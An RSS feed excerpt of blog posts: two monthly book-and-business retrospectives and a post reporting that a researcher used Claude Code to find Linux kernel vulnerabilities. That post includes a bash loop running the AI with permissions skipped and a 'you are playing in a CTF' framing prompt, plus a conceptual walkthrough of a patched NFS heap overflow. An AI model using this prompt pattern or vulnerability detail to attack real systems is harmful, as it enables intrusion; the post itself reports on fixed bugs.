&lt;p>If you&amp;rsquo;ve never used TinyBeans or PhotoCircle, it probably sounds strange that my extremely basic app prototype is exciting, but I can&amp;rsquo;t emphasize to you how terrible the user experience is on those apps.&lt;/p>
&lt;p>Even the basic flow of seeing the next and previous photo doesn&amp;rsquo;t work on TinyBeans. If you&amp;rsquo;re viewing a photo, you have to navigate &lt;em>back&lt;/em> to the photo index, then find the next photo. And that&amp;rsquo;s if you&amp;rsquo;re on the mobile app. On the web app, you can&amp;rsquo;t even see your photos in a sequence; you have to find them on a calendar. On top of that, there are ads and upsells everywhere, and everything is painfully slow.&lt;/p>
&lt;p>Little Moments is super fast, and I added &lt;a href="https://codeberg.org/mtlynch/little-moments/pulls/44">keyboard shortcuts&lt;/a> and &lt;a href="https://codeberg.org/mtlynch/little-moments/pulls/54">mobile swipe gestures&lt;/a> to make navigation even easier. I&amp;rsquo;m excited to finish the app and stop using TinyBeans.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://mtlynch.io/claude-code-found-linux-vulnerability/">&amp;ldquo;Claude Code Found a Linux Vulnerability Hidden for 23 Years&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &lt;a href="https://refactoringenglish.com/blog/ai-vs-human-design-doc/">&amp;ldquo;Which Design Doc Did a Human Write?&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published &amp;ldquo;Help the Reacher Reach Their Goal&amp;rdquo; chapter of &lt;em>Refactoring English&lt;/em>&lt;/li>
&lt;li>Made my &lt;a href="https://phabricator.services.mozilla.com/D288636">first contribution to Firefox&lt;/a>, a small fix to prevent crashes on malformed Ogg files.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>The next few years will be rough for cybersecurity
&lt;ul>
&lt;li>It&amp;rsquo;s never been easier for malicious actors to find vulnerabilities, while the rewards are decreasing for honest researchers who want to fix them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Finish writing &lt;em>Refactoring English&lt;/em>&lt;/li>
&lt;/ul></content:encoded></item><item><title>Claude Code Found a Linux Vulnerability Hidden for 23 Years</title><link>https://mtlynch.io/claude-code-found-linux-vulnerability/</link><pubDate>Fri, 03 Apr 2026 00:00:00 +0000</pubDate><guid>https://mtlynch.io/claude-code-found-linux-vulnerability/</guid><description>&lt;p>&lt;a href="https://nicholas.carlini.com/">Nicholas Carlini&lt;/a>, a research scientist at Anthropic, &lt;a href="https://www.youtube.com/watch?v=1sd26pWhfmg">reported&lt;/a> at the &lt;a href="https://unpromptedcon.org/">[un]prompted AI security conference&lt;/a> that he used Claude Code to find multiple remotely exploitable security vulnerabilities in the Linux kernel, including one that sat undiscovered for 23 years.&lt;/p>
&lt;p>Nicholas was astonished at how effective Claude Code has been at finding these bugs:&lt;/p>
&lt;blockquote>
&lt;p>We now have a number of remotely exploitable heap buffer overflows in the Linux kernel.&lt;/p>
&lt;p>I have never found one of these in my life before. This is very, very, very hard to do.&lt;/p></description><content:encoded>&lt;p>&lt;a href="https://nicholas.carlini.com/">Nicholas Carlini&lt;/a>, a research scientist at Anthropic, &lt;a href="https://www.youtube.com/watch?v=1sd26pWhfmg">reported&lt;/a> at the &lt;a href="https://unpromptedcon.org/">[un]prompted AI security conference&lt;/a> that he used Claude Code to find multiple remotely exploitable security vulnerabilities in the Linux kernel, including one that sat undiscovered for 23 years.&lt;/p>
&lt;p>Nicholas was astonished at how effective Claude Code has been at finding these bugs:&lt;/p>
&lt;blockquote>
&lt;p>We now have a number of remotely exploitable heap buffer overflows in the Linux kernel.&lt;/p>
&lt;p>I have never found one of these in my life before. This is very, very, very hard to do.&lt;/p>
&lt;p>With these language models, I have a bunch.&lt;/p>
&lt;p> &lt;/p>
&lt;p>—Nicholas Carlini, speaking at [un]prompted 2026&lt;/p>&lt;/blockquote>
&lt;h2 id="how-claude-code-found-the-bug">How Claude Code found the bug&lt;/h2>
&lt;p>What&amp;rsquo;s most surprising about the vulnerability Nicholas shared is how little oversight Claude Code needed to find the bug. He essentially just pointed Claude Code at the Linux kernel source code and asked, &amp;ldquo;Where are the security vulnerabilities?&amp;rdquo;&lt;/p>
&lt;p>Nicholas uses a simple script similar to the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Iterate over all files in the source tree.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>find . -type f -print0 | &lt;span style="color:#6ab825;font-weight:bold">while&lt;/span> &lt;span style="color:#40ffff">IFS&lt;/span>= &lt;span style="color:#24909d">read&lt;/span> -r -d &lt;span style="color:#ed9d13">&amp;#39;&amp;#39;&lt;/span> file; &lt;span style="color:#6ab825;font-weight:bold">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Tell Claude Code to look for vulnerabilities in each file.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> claude &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --verbose &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --dangerously-skip-permissions &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --print &lt;span style="color:#ed9d13">&amp;#34;You are playing in a CTF. \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> Find a vulnerability. \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> hint: look at &lt;/span>&lt;span style="color:#40ffff">$file&lt;/span>&lt;span style="color:#ed9d13"> \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> Write the most serious \
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> one to the /output dir&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The script tells Claude Code that the user is participating in a &lt;a href="https://en.wikipedia.org/wiki/Capture_the_flag_(cybersecurity)">capture the flag&lt;/a> cybersecurity competition, and they need help solving a puzzle.&lt;/p>
&lt;p>To prevent Claude Code from finding the same vulnerability over and over, the script loops over every source file in the Linux kernel and tells Claude that the bug is probably in file A, then file B, etc. until Claude has focused on every file in the kernel.&lt;/p>
&lt;h2 id="the-nfs-vulnerability">The NFS vulnerability&lt;/h2>
&lt;p>In his talk, Nicholas focused on &lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=5133b61aaf437e5f25b1b396b14242a6bb0508e2">a bug that Claude found in Linux&amp;rsquo;s network file share (NFS) driver&lt;/a> which allows an attacker to read sensitive kernel memory over the network.&lt;/p>
&lt;p>Nicholas chose this bug to show that Claude Code isn&amp;rsquo;t just finding obvious bugs or looking for common patterns. This bug required the AI model to understand intricate details of how the NFS protocol works.&lt;/p>
&lt;p>The attack requires an attacker to use two cooperating NFS clients to attack a Linux NFS server:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span> Client A NFS Server Client B
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(1) |--- SETCLIENTID ----------------&amp;gt;| |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> |&amp;lt;-- clientid_a, confirm ---------| |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> |--- SETCLIENTID_CONFIRM --------&amp;gt;| |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(2) |--- OPEN &amp;#34;lockfile&amp;#34; ------------&amp;gt;| |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> |&amp;lt;-- open_stateid_a --------------| |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> |--- OPEN_CONFIRM ---------------&amp;gt;| |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(3) |--- LOCK (1024-byte owner) -----&amp;gt;| lock_owner = 1024b buf |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> |&amp;lt;-- lock_stateid_a --------------| Lock granted |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | |
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>(1) - Client A does a three-way handshake with the NFS server to begin NFS operations.&lt;/p>
&lt;p>(2) - Client A requests a lock file. The server accepts, and the client acknowledges the acceptance.&lt;/p>
&lt;p>(3) - Client A acquires the lock and declares a 1024-byte owner ID, which is an unusually long but legal value for the owner ID. The server grants the lock acquisition.&lt;/p>
&lt;p>The attacker then spins up a second NFS client, Client B, to talk to the server:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span> Client A NFS Server Client B
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(4) | |&amp;lt;-- SETCLIENTID -----------------|
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | |--- clientid_b, confirm --------&amp;gt;|
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | |&amp;lt;-- SETCLIENTID_CONFIRM ---------|
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(5) | |&amp;lt;-- OPEN &amp;#34;lockfile&amp;#34; -------------|
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | |--- open_stateid_b -------------&amp;gt;|
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | |&amp;lt;-- OPEN_CONFIRM ----------------|
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(6) | |&amp;lt;-- LOCK (same range) -----------|
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | +-----------+-----------+ |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | LOCK DENIED! | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | Encode response: | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | offset: 8B | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | length: 8B | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | type: 4B | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | clientid: 8B | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | owner_len: 4B | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | owner: 1024B | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | TOTAL: 1056B | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | +-----------+-----------+ |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | |
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>(4) Client B does a three-way handshake with the NFS server to begin NFS operations, same as (1) above.&lt;/p>
&lt;p>(5) Client B requests access to the same lock file as Client A from (2). The NFS server accepts, and the client acknowledges the acceptance.&lt;/p>
&lt;p>(6) Client B tries to acquire the lock, but the NFS server denies the request because client A already holds the lock.&lt;/p>
&lt;p>The problem is that at step (6), when the NFS server tries to generate a response to client B denying the lock request, it uses a memory buffer that&amp;rsquo;s only 112 bytes. The denial message includes the owner ID, which can be up to 1024 bytes, bringing the total size of the message to 1056 bytes. The kernel writes 1056 bytes into a 112-byte buffer, meaning that the attacker can overwrite kernel memory with bytes they control in the owner ID field from step (3).&lt;/p>
&lt;p>Fun fact: Claude Code created the ASCII protocol diagrams above as part of its initial bug report.&lt;/p>
&lt;h2 id="undiscovered-for-23-years">Undiscovered for 23 years&lt;/h2>
&lt;p>This bug was &lt;a href="https://www.kernel.org/pub/linux/kernel/v2.6/snapshots/old/patch-2.6.0-test5-bk10.log">introduced in the Linux kernel in March 2003&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>ChangeSet@1.1388, 2003-09-22 19:22:37-07:00, neilb@cse.unsw.edu.au
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [PATCH] knfsd: idempotent replay cache for OPEN state
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> This implements the idempotent replay cache need for NFSv4 OPEN state.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> each state owner (open owner or lock owner) is required to store the
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> last sequence number mutating operation, and retransmit it when replayed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sequence number is presented for the operation.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> I&amp;#39;ve implemented the cache as a static buffer of size 112 bytes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (NFSD4_REPLAY_ISIZE) which is large enough to hold the OPEN, the largest
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> of the sequence mutation operations. This implements the cache for
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> OPEN, OPEN_CONFIRM, OPEN_DOWNGRADE, and CLOSE. LOCK and UNLOCK will be
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> added when byte-range locking is done (soon!).
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The bug is so old, I can&amp;rsquo;t even link directly to it because it predates git, which wasn&amp;rsquo;t released until 2005.&lt;/p>
&lt;h2 id="more-bugs-than-he-can-even-report">More bugs than he can even report&lt;/h2>
&lt;p>Nicholas has found hundreds more potential bugs in the Linux kernel, but the bottleneck to fixing them is the manual step of humans sorting through all of Claude&amp;rsquo;s findings:&lt;/p>
&lt;blockquote>
&lt;p>I have so many bugs in the Linux kernel that I can&amp;rsquo;t report because I haven&amp;rsquo;t validated them yet&amp;hellip; I&amp;rsquo;m not going to send [the Linux kernel maintainers] potential slop, but this means I now have several hundred crashes that they haven&amp;rsquo;t seen because I haven&amp;rsquo;t had time to check them.&lt;/p>
&lt;p> &lt;/p>
&lt;p>—Nicholas Carlini, speaking at [un]prompted 2026&lt;/p>&lt;/blockquote>
&lt;p>I searched the Linux kernel and found a total of five Linux vulnerabilities so far that Nicholas either fixed directly or reported to the Linux kernel maintainers, some as recently as last week:&lt;/p>
&lt;ol>
&lt;li>&lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit?id=5133b61aaf437e5f25b1b396b14242a6bb0508e2">nfsd: fix heap overflow in NFSv4.0 LOCK replay cache&lt;/a> (described above)&lt;/li>
&lt;li>&lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit?id=5170efd9c344c68a8075dcb8ed38d3f8a60e7ed4">io_uring/fdinfo: fix OOB read in SQE_MIXED wrap check&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit?id=19f94b39058681dec64a10ebeb6f23fe7fc3f77a">futex: Require sys_futex_requeue() to have identical flags&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit?id=5258572aa5fd5a7ed01b123b28241e0281b6fb9b">ksmbd: fix share_conf UAF in tree_conn disconnect&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit?id=6b4f875aac344cdd52a1f34cc70ed2f874a65757">ksmbd: fix signededness bug in smb_direct_prepare_negotiation()&lt;/a>&lt;/li>
&lt;/ol>
&lt;h2 id="theres-a-big-wave-coming">There&amp;rsquo;s a big wave coming&lt;/h2>
&lt;p>What&amp;rsquo;s striking about Nicholas&amp;rsquo; talk was how rapidly large language models have improved at finding vulnerabilities. Nicholas found these bugs using Claude Opus 4.6, which Anthropic released &lt;a href="https://www.anthropic.com/news/claude-opus-4-6">less than two months ago&lt;/a>. He tried to reproduce his results on older AI models, and discovered that Opus 4.1 (released &lt;a href="https://www.anthropic.com/news/claude-opus-4-1">eight months ago&lt;/a>) and Sonnet 4.5 (released &lt;a href="https://www.anthropic.com/news/claude-sonnet-4-5">six months ago&lt;/a>) could find only a small fraction of what Nicholas found using Opus 4.6:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/claude-code-found-linux-vulnerability/model-effectiveness.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/claude-code-found-linux-vulnerability/model-effectiveness_hu_49964a4e92a17039.png 300w, https://mtlynch.io/claude-code-found-linux-vulnerability/model-effectiveness_hu_b7472f9b1ff8cbe4.png 600w, https://mtlynch.io/claude-code-found-linux-vulnerability/model-effectiveness_hu_b2a30ca0bf37ad1b.png 800w, https://mtlynch.io/claude-code-found-linux-vulnerability/model-effectiveness_hu_777dc1c97fa4bfeb.png 1200w, https://mtlynch.io/claude-code-found-linux-vulnerability/model-effectiveness.png 1462w'
 src="https://mtlynch.io/claude-code-found-linux-vulnerability/model-effectiveness.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I expect to see an enormous wave of security bugs uncovered in the coming months, as researchers and attackers alike realize how powerful these AI models are at discovering security vulnerabilities.&lt;/p>
&lt;h2 id="original-talk">Original talk&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=1sd26pWhfmg">Nicholas Carlini - Black-hat LLMs at [un]prompted 2026&lt;/a>&lt;/li>
&lt;/ul></content:encoded></item><item><title>Refactoring English: Month 15</title><link>https://mtlynch.io/retrospectives/2026/03/</link><pubDate>Tue, 17 Mar 2026 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2026/03/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>It turns out that most of &lt;em>Refactoring English&lt;/em>&amp;rsquo;s readers come from outside the US.&lt;/li>
&lt;li>I&amp;rsquo;m using AI-assisted coding too much.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>It turns out that most of &lt;em>Refactoring English&lt;/em>&amp;rsquo;s readers come from outside the US.&lt;/li>
&lt;li>I&amp;rsquo;m using AI-assisted coding too much.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-two-chapters-of-refactoring-english">Publish two chapters of &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://refactoringenglish.com/chapters/why-improve-your-writing/">&amp;ldquo;Why Improve Your Writing?&amp;rdquo;&lt;/a> and &amp;ldquo;Improve Your Grammar Incrementally&amp;rdquo;&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;h3 id="schedule-a-live-event-for-refactoring-english-readers">Schedule a live event for &lt;em>Refactoring English&lt;/em> readers&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Scheduled a discussion about design reviews&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;h2 id="refactoring-english-metrics">&lt;em>Refactoring English&lt;/em> metrics&lt;/h2>
&lt;div class="project-metrics-chart">
 &lt;canvas
 id="refactoring_english-metrics-chart"
 data-labels="[&amp;#34;Jan 2025&amp;#34;,&amp;#34;Feb 2025&amp;#34;,&amp;#34;Mar 2025&amp;#34;,&amp;#34;Apr 2025&amp;#34;,&amp;#34;May 2025&amp;#34;,&amp;#34;Jun 2025&amp;#34;,&amp;#34;Jul 2025&amp;#34;,&amp;#34;Aug 2025&amp;#34;,&amp;#34;Sep 2025&amp;#34;,&amp;#34;Oct 2025&amp;#34;,&amp;#34;Nov 2025&amp;#34;,&amp;#34;Dec 2025&amp;#34;,&amp;#34;Jan 2026&amp;#34;,&amp;#34;Feb 2026&amp;#34;]"
 data-visitors="[21824,1593,60327,14269,2986,6574,8061,2863,7283,22398,7608,2266,38511,7788]"
 data-revenue="[0,0,0,6469,241.45,887.94,848.29,360.88,962.56,619,1066.73,540.8,1132.75,886.2]"
 >&lt;/canvas>
&lt;/div>

&lt;script>
(function() {
 const ctx = document.getElementById('refactoring_english-metrics-chart');
 if (!ctx) return;

 const labels = JSON.parse(ctx.dataset.labels);
 const visitorsData = JSON.parse(ctx.dataset.visitors);
 const revenueData = JSON.parse(ctx.dataset.revenue);

 const dollarFormat = new Intl.NumberFormat("en-US", {
 style: "currency",
 currency: "USD",
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
 });

 const visitorFormat = new Intl.NumberFormat("en-US");

 new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Unique Visitors',
 data: visitorsData,
 borderColor: '#3b82f6',
 backgroundColor: 'rgba(59, 130, 246, 0.1)',
 yAxisID: 'y-axis-1',
 fill: false,
 lineTension: 0
 }, {
 label: 'Total Revenue',
 data: revenueData,
 borderColor: '#10b981',
 backgroundColor: 'rgba(16, 185, 129, 0.1)',
 yAxisID: 'y-axis-2',
 fill: false,
 lineTension: 0
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 title: {
 display: true,
 text: 'Project Metrics Over Time'
 },
 tooltips: {
 mode: 'index',
 intersect: false,
 callbacks: {
 label: function(tooltipItem, data) {
 const label = data.datasets[tooltipItem.datasetIndex].label || '';
 if (label === 'Unique Visitors') {
 return label + ': ' + visitorFormat.format(tooltipItem.yLabel);
 } else {
 return label + ': ' + dollarFormat.format(tooltipItem.yLabel);
 }
 }
 }
 },
 scales: {
 xAxes: [{
 display: true,
 scaleLabel: {
 display: true,
 labelString: 'Month'
 }
 }],
 yAxes: [{
 id: 'y-axis-1',
 type: 'linear',
 display: true,
 position: 'left',
 scaleLabel: {
 display: true,
 labelString: 'Unique Visitors'
 },
 ticks: {
 callback: function(value) {
 return visitorFormat.format(value);
 }
 }
 }, {
 id: 'y-axis-2',
 type: 'linear',
 display: true,
 position: 'right',
 scaleLabel: {
 display: true,
 labelString: 'Total Revenue'
 },
 gridLines: {
 drawOnChartArea: false,
 },
 ticks: {
 callback: function(value) {
 return dollarFormat.format(value);
 }
 }
 }]
 }
 }
 });
})();
&lt;/script>
&lt;style>
 .project-metrics-chart {
 position: relative;
 margin-bottom: 2rem;
 height: 400px;
 }

 .project-metrics-change-positive {
 color: green;
 }

 .project-metrics-change-negative {
 color: red;
 }
&lt;/style>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2026&lt;/th>
 &lt;th>February 2026&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique visitors&lt;/td>
 &lt;td>38,511&lt;/td>
 &lt;td>7,788&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-30,723 (-80%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from pre-orders&lt;/td>
 &lt;td>$1,132.75&lt;/td>
 &lt;td>$886.20&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$246.55 (-22%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr style="font-weight: bold;">
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$1,132.75&lt;/td>
 &lt;td>$886.20&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$246.55 (-22%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>

&lt;p>Visits and orders are down, but mainly because January was &lt;a href="https://mtlynch.io/retrospectives/2026/02/#refactoring-english-metrics">such an outlier&lt;/a> due to &lt;a href="https://refactoringenglish.com/blog/2025-hn-top-5/">&amp;ldquo;The Most Popular Blogs of Hacker News in 2025.&amp;rdquo;&lt;/a> I got another lucky bump from the HN moderators putting &lt;a href="https://mtlynch.io/bootstrapped-founder-year-8/">&amp;ldquo;My Eighth Year as a Bootstrapped Founder&amp;rdquo;&lt;/a> on the front page.&lt;/p>
&lt;h2 id="where-do-refactoring-english-readers-come-from">Where do &lt;em>Refactoring English&lt;/em> readers come from?&lt;/h2>
&lt;p>I mentioned &lt;a href="https://mtlynch.io/retrospectives/2026/01/#adding-regional-pricing-for-my-book">in January&lt;/a> that I added regional pricing for my book. I wasn&amp;rsquo;t tracking data carefully, but just based on order notifications, it seemed like most of my orders were coming from countries outside the US, so I took a closer look at the data.&lt;/p>
&lt;p>The first question was: is it really true that the majority of orders use regional pricing now?&lt;/p>
&lt;div class="sales-chart-group">
 &lt;div class="sales-chart" data-view="orders">
 &lt;canvas id="orders-by-country">&lt;/canvas>
 &lt;/div>
 &lt;div class="sales-chart" data-view="revenue" hidden>
 &lt;canvas id="revenue-by-country">&lt;/canvas>
 &lt;/div>
 &lt;div class="sales-chart-toggle">
 &lt;button class="active" data-view="orders">By order count&lt;/button>
 &lt;button data-view="revenue">By revenue&lt;/button>
 &lt;/div>
&lt;/div>
&lt;p>It&amp;rsquo;s true. The majority of &lt;em>Refactoring English&lt;/em> customers are now outside of the US. The US accounts for only 28% of orders by volume and 40% by revenue.&lt;/p>
&lt;p>I was also surprised to see how many customers purchase from countries like India and Brazil, where English is not the primary language, so I checked English vs. non-English primary countries:&lt;/p>
&lt;div class="sales-chart-group">
 &lt;div class="sales-chart" data-view="orders">
 &lt;canvas id="orders-english-split">&lt;/canvas>
 &lt;/div>
 &lt;div class="sales-chart" data-view="revenue" hidden>
 &lt;canvas id="revenue-english-split">&lt;/canvas>
 &lt;/div>
 &lt;div class="sales-chart-toggle">
 &lt;button class="active" data-view="orders">By order count&lt;/button>
 &lt;button data-view="revenue">By revenue&lt;/button>
 &lt;/div>
&lt;/div>
&lt;p>Surprisingly, the majority of orders for &lt;em>Refactoring English&lt;/em> come from countries where English is not the primary language, though English-speaking countries are a small majority revenue-wise.&lt;/p>
&lt;p>Next question: Do readers from certain countries purchase at a higher rate than others relative to total website visitors?&lt;/p>
&lt;div class="sales-chart-group">
 &lt;div class="sales-chart" data-view="orders">
 &lt;canvas id="orders-per-visitor">&lt;/canvas>
 &lt;/div>
 &lt;div class="sales-chart" data-view="revenue" hidden>
 &lt;canvas id="revenue-per-visitor">&lt;/canvas>
 &lt;/div>
 &lt;div class="sales-chart-toggle">
 &lt;button class="active" data-view="orders">By order count&lt;/button>
 &lt;button data-view="revenue">By revenue&lt;/button>
 &lt;/div>
&lt;/div>
